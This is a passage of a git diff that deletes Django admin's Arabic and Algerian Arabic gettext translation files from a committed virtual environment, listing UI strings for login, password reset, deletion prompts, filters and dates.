-"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"لقد حدث خطأ. تم إبلاغ مسؤولي الموقع عبر البريد الإلكتروني وسيتم إصلاحه " -"قريبًا. شكرا لصبرك." - -msgid "Run the selected action" -msgstr "نفذ الإجراء المحدّد" - -msgid "Go" -msgstr "نفّذ" - -msgid "Click here to select the objects across all pages" -msgstr "اضغط هنا لتحديد جميع العناصر في جميع الصفحات" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "اختيار %(total_count)s %(module_name)s جميعها" - -msgid "Clear selection" -msgstr "إزالة الاختيار" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "النماذج في تطبيق %(name)s" - -msgid "Add" -msgstr "أضف" - -msgid "View" -msgstr "استعراض" - -msgid "You don’t have permission to view or edit anything." -msgstr "ليست لديك الصلاحية لاستعراض أو لتعديل أي شيء." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"أولاً ، أدخل اسم المستخدم وكلمة المرور. بعد ذلك ، ستتمكن من تعديل المزيد من " -"خيارات المستخدم." - -msgid "Enter a username and password." -msgstr "أدخل اسم مستخدم وكلمة مرور." - -msgid "Change password" -msgstr "غيّر كلمة المرور" - -msgid "Please correct the error below." -msgstr "الرجاء تصحيح الأخطاء أدناه." - -msgid "Please correct the errors below." -msgstr "الرجاء تصحيح الأخطاء أدناه." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "أدخل كلمة مرور جديدة للمستخدم %(username)s." - -msgid "Welcome," -msgstr "أهلا، " - -msgid "View site" -msgstr "عرض الموقع" - -msgid "Documentation" -msgstr "الوثائق" - -msgid "Log out" -msgstr "تسجيل الخروج" - -#, python-format -msgid "Add %(name)s" -msgstr "أضف %(name)s" - -msgid "History" -msgstr "تاريخ" - -msgid "View on site" -msgstr "مشاهدة على الموقع" - -msgid "Filter" -msgstr "مرشّح" - -msgid "Clear all filters" -msgstr "مسح جميع المرشحات" - -msgid "Remove from sorting" -msgstr "إزالة من الترتيب" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "أولوية الترتيب: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "عكس الترتيب" - -msgid "Delete" -msgstr "احذف" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"حذف العنصر %(object_name)s '%(escaped_object)s' سيتسبب بحذف العناصر المرتبطة " -"به، إلا أنك لا تملك صلاحية حذف العناصر التالية:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"حذف %(object_name)s '%(escaped_object)s' سيتسبب أيضاً بحذف العناصر المرتبطة، " -"إلا أن حسابك ليس لديه صلاحية حذف أنواع العناصر التالية:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"متأكد أنك تريد حذف العنصر %(object_name)s \"%(escaped_object)s\"؟ سيتم حذف " -"جميع العناصر التالية المرتبطة به:" - -msgid "Objects" -msgstr "عناصر" - -msgid "Yes, I’m sure" -msgstr "نعم، أنا متأكد" - -msgid "No, take me back" -msgstr "لا, تراجع للخلف" - -msgid "Delete multiple objects" -msgstr "حذف عدّة عناصر" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"حذف عناصر %(objects_name)s المُحدّدة سيتسبب بحذف العناصر المرتبطة، إلا أن " -"حسابك ليس له صلاحية حذف أنواع العناصر التالية:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"حذف عناصر %(objects_name)s المحدّدة قد يتطلب حذف العناصر المحميّة المرتبطة " -"التالية:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"أأنت متأكد أنك تريد حذف عناصر %(objects_name)s المحددة؟ جميع العناصر التالية " -"والعناصر المرتبطة بها سيتم حذفها:" - -msgid "Delete?" -msgstr "احذفه؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr " حسب %(filter_title)s " - -msgid "Summary" -msgstr "ملخص" - -msgid "Recent actions" -msgstr "آخر الإجراءات" - -msgid "My actions" -msgstr "إجراءاتي" - -msgid "None available" -msgstr "لا يوجد" - -msgid "Unknown content" -msgstr "مُحتوى مجهول" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"هنالك أمر خاطئ في تركيب قاعدة بياناتك، تأكد من أنه تم انشاء جداول قاعدة " -"البيانات الملائمة، وأن قاعدة البيانات قابلة للقراءة من قبل المستخدم الملائم." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"أنت مسجل الدخول بإسم المستخدم %(username)s, ولكنك غير مخول للوصول لهذه " -"الصفحة. هل ترغب بتسجيل الدخول بحساب آخر؟" - -msgid "Forgotten your password or username?" -msgstr "نسيت كلمة المرور أو اسم المستخدم الخاص بك؟" - -msgid "Toggle navigation" -msgstr "تغيير التصفّح" - -msgid "Start typing to filter…" -msgstr "ابدأ الكتابة للتصفية ..." - -msgid "Filter navigation items" -msgstr "تصفية عناصر التصفح" - -msgid "Date/time" -msgstr "التاريخ/الوقت" - -msgid "User" -msgstr "المستخدم" - -msgid "Action" -msgstr "إجراء" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"ليس لهذا العنصر سجلّ تغييرات، على الأغلب أنه لم يُنشأ من خلال نظام إدارة " -"الموقع." - -msgid "Show all" -msgstr "أظهر الكل" - -msgid "Save" -msgstr "احفظ" - -msgid "Popup closing…" -msgstr "جاري إغلاق النافذة المنبثقة..." - -msgid "Search" -msgstr "ابحث" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "لا نتائج" -msgstr[1] "نتيجة واحدة" -msgstr[2] "نتيجتان" -msgstr[3] "%(counter)s نتائج" -msgstr[4] "%(counter)s نتيجة" -msgstr[5] "%(counter)s نتيجة" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "المجموع %(full_result_count)s" - -msgid "Save as new" -msgstr "احفظ كجديد" - -msgid "Save and add another" -msgstr "احفظ وأضف آخر" - -msgid "Save and continue editing" -msgstr "احفظ واستمر بالتعديل" - -msgid "Save and view" -msgstr "احفظ واستعرض" - -msgid "Close" -msgstr "إغلاق" - -#, python-format -msgid "Change selected %(model)s" -msgstr "تغيير %(model)s المختارة" - -#, python-format -msgid "Add another %(model)s" -msgstr "أضف %(model)s آخر" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "حذف %(model)s المختارة" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "شكرا لقضاء بعض الوقت الجيد في الموقع اليوم." - -msgid "Log in again" -msgstr "ادخل مجدداً" - -msgid "Password change" -msgstr "غيّر كلمة مرورك" - -msgid "Your password was changed." -msgstr "تمّ تغيير كلمة مرورك." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"رجاءً أدخل كلمة المرور القديمة، للأمان، ثم أدخل كلمة المرور الجديدة مرتين " -"لنتأكد بأنك قمت بإدخالها بشكل صحيح." - -msgid "Change my password" -msgstr "غيّر كلمة مروري" - -msgid "Password reset" -msgstr "استعادة كلمة المرور" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "تم تعيين كلمة مرورك. يمكن الاستمرار وتسجيل دخولك الآن." - -msgid "Password reset confirmation" -msgstr "تأكيد استعادة كلمة المرور" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "رجاءً أدخل كلمة مرورك الجديدة مرتين كي تتأكّد من كتابتها بشكل صحيح." - -msgid "New password:" -msgstr "كلمة المرور الجديدة:" - -msgid "Confirm password:" -msgstr "أكّد كلمة المرور:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"رابط استعادة كلمة المرور غير صحيح، ربما لأنه استُخدم من قبل. رجاءً اطلب " -"استعادة كلمة المرور مرة أخرى." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"تم إرسال بريد إلكتروني بالتعليمات لضبط كلمة المرور الخاصة بك، وذلك في حال " -"تواجد حساب بنفس البريد الإلكتروني الذي أدخلته. سوف تستقبل البريد الإلكتروني " -"قريباً" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"في حال عدم إستقبال البريد الإلكتروني، الرجاء التأكد من إدخال عنوان بريدك " -"الإلكتروني الخاص بحسابك ومراجعة مجلد الرسائل غير المرغوب بها." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"لقد قمت بتلقى هذه الرسالة لطلبك بإعادة تعين كلمة المرور لحسابك الشخصي على " -"%(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "رجاءً اذهب إلى الصفحة التالية واختر كلمة مرور جديدة:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "اسم المستخدم الخاص بك، في حال كنت قد نسيته:" - -msgid "Thanks for using our site!" -msgstr "شكراً لاستخدامك موقعنا!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "فريق %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"هل نسيت كلمة المرور؟ أدخل عنوان بريدك الإلكتروني أدناه وسوف نقوم بإرسال " -"تعليمات للحصول على كلمة مرور جديدة." - -msgid "Email address:" -msgstr "عنوان البريد الإلكتروني:" - -msgid "Reset my password" -msgstr "استعد كلمة مروري" - -msgid "All dates" -msgstr "كافة التواريخ" - -#, python-format -msgid "Select %s" -msgstr "اختر %s" - -#, python-format -msgid "Select %s to change" -msgstr "اختر %s لتغييره" - -#, python-format -msgid "Select %s to view" -msgstr "اختر %s للاستعراض" - -msgid "Date:" -msgstr "التاريخ:" - -msgid "Time:" -msgstr "الوقت:" - -msgid "Lookup" -msgstr "ابحث" - -msgid "Currently:" -msgstr "حالياً:" - -msgid "Change:" -msgstr "تغيير:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 00605736..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.po deleted file mode 100644 index f7570b51..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,278 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bashar Al-Abdulhadi, 2015,2020-2021 -# Bashar Al-Abdulhadi, 2014 -# Jannis Leidel , 2011 -# Omar Lajam, 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-10-15 21:27+0000\n" -"Last-Translator: Bashar Al-Abdulhadi\n" -"Language-Team: Arabic (http://www.transifex.com/django/django/language/ar/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s المتوفرة" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"هذه قائمة %s المتوفرة. يمكنك اختيار بعضها بانتقائها في الصندوق أدناه ثم " -"الضغط على سهم الـ\"اختيار\" بين الصندوقين." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "اكتب في هذا الصندوق لتصفية قائمة %s المتوفرة." - -msgid "Filter" -msgstr "تصفية" - -msgid "Choose all" -msgstr "اختر الكل" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "اضغط لاختيار جميع %s جملة واحدة." - -msgid "Choose" -msgstr "اختيار" - -msgid "Remove" -msgstr "احذف" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s المُختارة" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"هذه قائمة %s المحددة. يمكنك إزالة بعضها باختيارها في الصندوق أدناه ثم اضغط " -"على سهم الـ\"إزالة\" بين الصندوقين." - -msgid "Remove all" -msgstr "إزالة الكل" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "اضغط لإزالة جميع %s المحددة جملة واحدة." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "لا شي محدد" -msgstr[1] "%(sel)s من %(cnt)s محدد" -msgstr[2] "%(sel)s من %(cnt)s محدد" -msgstr[3] "%(sel)s من %(cnt)s محددة" -msgstr[4] "%(sel)s من %(cnt)s محدد" -msgstr[5] "%(sel)s من %(cnt)s محدد" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"لديك تعديلات غير محفوظة على بعض الحقول القابلة للتعديل. إن نفذت أي إجراء " -"فسوف تخسر تعديلاتك." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"لقد حددت إجراءً ، لكنك لم تحفظ تغييراتك في الحقول الفردية حتى الآن. يرجى " -"النقر فوق موافق للحفظ. ستحتاج إلى إعادة تشغيل الإجراء." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"لقد حددت إجراء ، ولم تقم بإجراء أي تغييرات على الحقول الفردية. من المحتمل " -"أنك تبحث عن الزر أذهب بدلاً من الزر حفظ." - -msgid "Now" -msgstr "الآن" - -msgid "Midnight" -msgstr "منتصف الليل" - -msgid "6 a.m." -msgstr "6 ص." - -msgid "Noon" -msgstr "الظهر" - -msgid "6 p.m." -msgstr "6 مساءً" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[1] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[2] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[3] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[4] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[5] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[1] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[2] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[3] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[4] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[5] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." - -msgid "Choose a Time" -msgstr "إختر وقت" - -msgid "Choose a time" -msgstr "اختر وقتاً" - -msgid "Cancel" -msgstr "ألغ" - -msgid "Today" -msgstr "اليوم" - -msgid "Choose a Date" -msgstr "إختر تاريخ " - -msgid "Yesterday" -msgstr "أمس" - -msgid "Tomorrow" -msgstr "غداً" - -msgid "January" -msgstr "يناير" - -msgid "February" -msgstr "فبراير" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "أبريل" - -msgid "May" -msgstr "مايو" - -msgid "June" -msgstr "يونيو" - -msgid "July" -msgstr "يوليو" - -msgid "August" -msgstr "أغسطس" - -msgid "September" -msgstr "سبتمبر" - -msgid "October" -msgstr "أكتوبر" - -msgid "November" -msgstr "نوفمبر" - -msgid "December" -msgstr "ديسمبر" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "يناير" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "فبراير" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "مارس" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "إبريل" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "مايو" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "يونيو" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "يوليو" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "أغسطس" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "سبتمبر" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "أكتوبر" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "نوفمبر" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "ديسمبر" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "أحد" - -msgctxt "one letter Monday" -msgid "M" -msgstr "إثنين" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "ثلاثاء" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "أربعاء" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "خميس" - -msgctxt "one letter Friday" -msgid "F" -msgstr "جمعة" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "سبت" - -msgid "Show" -msgstr "أظهر" - -msgid "Hide" -msgstr "اخف" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.mo deleted file mode 100644 index 9e08b81a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.po deleted file mode 100644 index 8608584f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.po +++ /dev/null @@ -1,738 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jihad Bahmaid Al-Halki, 2022 -# Riterix , 2019-2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Jihad Bahmaid Al-Halki\n" -"Language-Team: Arabic (Algeria) (http://www.transifex.com/django/django/" -"language/ar_DZ/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar_DZ\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "حذف سجلات %(verbose_name_plural)s المحددة" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "تم حذف %(count)d %(items)s بنجاح." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "لا يمكن حذف %(name)s" - -msgid "Are you sure?" -msgstr "هل أنت متأكد؟" - -msgid "Administration" -msgstr "الإدارة" - -msgid "All" -msgstr "الكل" - -msgid "Yes" -msgstr "نعم" - -msgid "No" -msgstr "لا" - -msgid "Unknown" -msgstr "مجهول" - -msgid "Any date" -msgstr "أي تاريخ" - -msgid "Today" -msgstr "اليوم" - -msgid "Past 7 days" -msgstr "الأيام السبعة الماضية" - -msgid "This month" -msgstr "هذا الشهر" - -msgid "This year" -msgstr "هذه السنة" - -msgid "No date" -msgstr "لا يوجد أي تاريخ" - -msgid "Has date" -msgstr "به تاريخ" - -msgid "Empty" -msgstr "فارغة" - -msgid "Not empty" -msgstr "ليست فارغة" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"الرجاء إدخال ال%(username)s و كلمة المرور الصحيحين لحساب الطاقم. الحقلين " -"حساسين وضعية الاحرف." - -msgid "Action:" -msgstr "إجراء:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "إضافة سجل %(verbose_name)s آخر" - -msgid "Remove" -msgstr "أزل" - -msgid "Addition" -msgstr "إضافة" - -msgid "Change" -msgstr "عدّل" - -msgid "Deletion" -msgstr "حذف" - -msgid "action time" -msgstr "وقت الإجراء" - -msgid "user" -msgstr "المستخدم" - -msgid "content type" -msgstr "نوع المحتوى" - -msgid "object id" -msgstr "معرف العنصر" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ممثل العنصر" - -msgid "action flag" -msgstr "علامة الإجراء" - -msgid "change message" -msgstr "غيّر الرسالة" - -msgid "log entry" -msgstr "مُدخل السجل" - -msgid "log entries" -msgstr "مُدخلات السجل" - -#, python-format -msgid "Added “%(object)s”." -msgstr "تم إضافة العناصر \\\"%(object)s\\\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "تم تعديل العناصر \\\"%(object)s\\\" - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "تم حذف العناصر \\\"%(object)s.\\\"" - -msgid "LogEntry Object" -msgstr "كائن LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "تم إضافة {name} \\\"{object}\\\"." - -msgid "Added." -msgstr "تمت الإضافة." - -msgid "and" -msgstr "و" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "تم تغيير {fields} لـ {name} \\\"{object}\\\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "تم تغيير {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "تم حذف {name} \\\"{object}\\\"." - -msgid "No fields changed." -msgstr "لم يتم تغيير أية حقول." - -msgid "None" -msgstr "لاشيء" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"استمر بالضغط على مفتاح \\\"Control\\\", او \\\"Command\\\" على أجهزة الماك, " -"لإختيار أكثر من أختيار واحد." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "تمت إضافة {name} \\\"{obj}\\\" بنجاح." - -msgid "You may edit it again below." -msgstr "يمكن تعديله مرة أخرى أدناه." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "تمت إضافة {name} \\\"{obj}\\\" بنجاح. يمكنك إضافة {name} آخر أدناه." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "تم تغيير {name} \\\"{obj}\\\" بنجاح. يمكنك تعديله مرة أخرى أدناه." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "تمت إضافة {name} \\\"{obj}\\\" بنجاح. يمكنك تعديله مرة أخرى أدناه." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "تم تغيير {name} \\\"{obj}\\\" بنجاح. يمكنك إضافة {name} آخر أدناه." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "تم تغيير {name} \\\"{obj}\\\" بنجاح." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "يجب تحديد العناصر لتطبيق الإجراءات عليها. لم يتم تغيير أية عناصر." - -msgid "No action selected." -msgstr "لم يحدد أي إجراء." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "تم حذف %(name)s \\\"%(obj)s\\\" بنجاح." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s ب ID \\\"%(key)s\\\" غير موجود. ربما تم حذفه؟" - -#, python-format -msgid "Add %s" -msgstr "أضف %s" - -#, python-format -msgid "Change %s" -msgstr "عدّل %s" - -#, python-format -msgid "View %s" -msgstr "عرض %s" - -msgid "Database error" -msgstr "خطـأ في قاعدة البيانات" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[1] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[2] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[3] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[4] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[5] "تم تغيير %(count)s %(name)s بنجاح." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "تم تحديد %(total_count)s" -msgstr[1] "تم تحديد %(total_count)s" -msgstr[2] "تم تحديد %(total_count)s" -msgstr[3] "تم تحديد %(total_count)s" -msgstr[4] "تم تحديد %(total_count)s" -msgstr[5] "تم تحديد %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "لا شيء محدد من %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "تاريخ التغيير: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"حذف %(class_name)s %(instance)s سيتسبب أيضاً بحذف العناصر المرتبطة التالية: " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "إدارة موقع جانغو" - -msgid "Django administration" -msgstr "إدارة جانغو" - -msgid "Site administration" -msgstr "إدارة الموقع" - -msgid "Log in" -msgstr "ادخل" - -#, python-format -msgid "%(app)s administration" -msgstr "إدارة %(app)s " - -msgid "Page not found" -msgstr "تعذر العثور على الصفحة" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "نحن آسفون، لكننا لم نعثر على الصفحة المطلوبة.\"" - -msgid "Home" -msgstr "الرئيسية" - -msgid "Server error" -msgstr "خطأ في المزود" - -msgid "Server error (500)" -msgstr "خطأ في المزود (500)" - -msgid "Server Error (500)" -msgstr "خطأ في المزود (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"كان هناك خطأ. تم إعلام المسؤولين عن الموقع عبر البريد الإلكتروني وسوف يتم " -"إصلاح الخطأ قريباً. شكراً على صبركم." - -msgid "Run the selected action" -msgstr "نفذ الإجراء المحدّد" - -msgid "Go" -msgstr "نفّذ" - -msgid "Click here to select the objects across all pages" -msgstr "اضغط هنا لتحديد جميع العناصر في جميع الصفحات" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "اختيار %(total_count)s %(module_name)s جميعها" - -msgid "Clear selection" -msgstr "إزالة الاختيار" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "النماذج في تطبيق %(name)s" - -msgid "Add" -msgstr "أضف" - -msgid "View" -msgstr "عرض" - -msgid "You don’t have permission to view or edit anything." -msgstr "ليس لديك الصلاحية لعرض أو تعديل أي شيء." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"أولاً، أدخل اسم مستخدم وكلمة مرور. ومن ثم تستطيع تعديل المزيد من خيارات " -"المستخدم." - -msgid "Enter a username and password." -msgstr "أدخل اسم مستخدم وكلمة مرور." - -msgid "Change password" -msgstr "غيّر كلمة المرور" - -msgid "Please correct the error below." -msgstr "يرجى تصحيح الخطأ أدناه." - -msgid "Please correct the errors below." -msgstr "الرجاء تصحيح الأخطاء أدناه." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "أدخل كلمة مرور جديدة للمستخدم %(username)s." - -msgid "Welcome," -msgstr "أهلا، " - -msgid "View site" -msgstr "عرض الموقع" - -msgid "Documentation" -msgstr "الوثائق" - -msgid "Log out" -msgstr "اخرج" - -#, python-format -msgid "Add %(name)s" -msgstr "أضف %(name)s" - -msgid "History" -msgstr "تاريخ" - -msgid "View on site" -msgstr "مشاهدة على الموقع" - -msgid "Filter" -msgstr "مرشّح" - -msgid "Clear all filters" -msgstr "مسح جميع المرشحات" - -msgid "Remove from sorting" -msgstr "إزالة من الترتيب" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "أولوية الترتيب: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "عكس الترتيب" - -msgid "Delete" -msgstr "احذف" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"حذف العنصر %(object_name)s '%(escaped_object)s' سيتسبب بحذف العناصر المرتبطة " -"به، إلا أنك لا تملك صلاحية حذف العناصر التالية:" - 